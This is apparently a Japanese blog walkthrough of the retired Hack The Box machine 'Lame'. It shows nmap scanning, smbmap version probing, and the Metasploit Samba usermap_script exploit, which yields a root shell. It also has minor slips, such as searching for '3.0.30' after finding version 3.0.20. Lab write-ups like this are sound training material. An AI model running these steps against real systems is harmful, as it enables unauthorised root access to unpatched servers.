3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 1 year has passed since last update.

【Hack The Box】Lame_日本語Walkthrough

Last updated at Posted at 2023-06-11

概要

Hack The Box(以下HTB)のRetiredマシン"Lame"のwriteupです。

環境

HTBの課金環境のPwnboxで実行しています。

Walkthrough

1. nmapによる起動サービスの確認

ターミナルを起動し、nmapコマンドで稼働しているサービスを確認します。

nmap -Pn -T4 -sV <ターゲットのIPアドレス>

スクリーンショット 2023-06-10 144407.png

  • nmapのコマンドの意味

    • -Pn: 事前のping送信をしない
    • -T4: スキャン速度の指定。0~5で数字が高いほど早いがエラーが出やすい
    • -sV: 動作しているサービスのバージョンを確認
  • 稼働していることが確認できたサービス

    • vsftpd 2.3.4
    • OpenSSH
    • Samba

2. msfconsoleによるexploit

msfconsole: Metasploit Frameworkのコンソールで動かすやつ。簡単操作でexploitできる

2.1 起動

ターミナルから

msfconsole

で起動
スクリーンショット 2023-06-10 150716.png

2.2 脆弱性の検索

2.2.1 vsftpdの検索

search vsftpd

image.png

This module exploits a malicious backdoor that was added to the VSFTPD download archive. This backdoor was introdcued into the vsftpd-2.3.4.tar.gz archive between June 30th 2011 and July 1st 2011 according to the most recent information available. This backdoor was removed on July 3rd 2011.

このバックドアはもう削除されているっぽい

2.2.2 sambaの検索

sambaとは…
linuxとwindowsの間でファイル共有とかするために使うソフトウェア

search samba

image.png
すこいいっぱい出てきた・・・

  • sambaのバージョンを確認したいのでsambaに接続してみる
    ターミナルをもう一つ起動して
    smbmap -H <ターゲットのIPアドレス>
    

image.png
バージョンは3.0.20っぽい

  • もう一回search
    msfconsoleに戻って
    search samba 3.0.30
    

image.png
1つに絞れたのてこれで行く

2.3 exploitコードのセット

use exploit/multi/samba/usermap_script

image.png

show options

image.png
RHOSTSとRHOSTだけ設定すればいいかな

set RHOSTS <ターゲットのIPアドレス>

set LHOST <攻撃マシンのIPアドレス>

スクリーンショット 2023-06-11 170331.png

2.4 実行

run

image.png

rootユーザでアクセスできてる。
flagの場所も分かったのであとはcatで表示すればOK

3
0
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
3
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?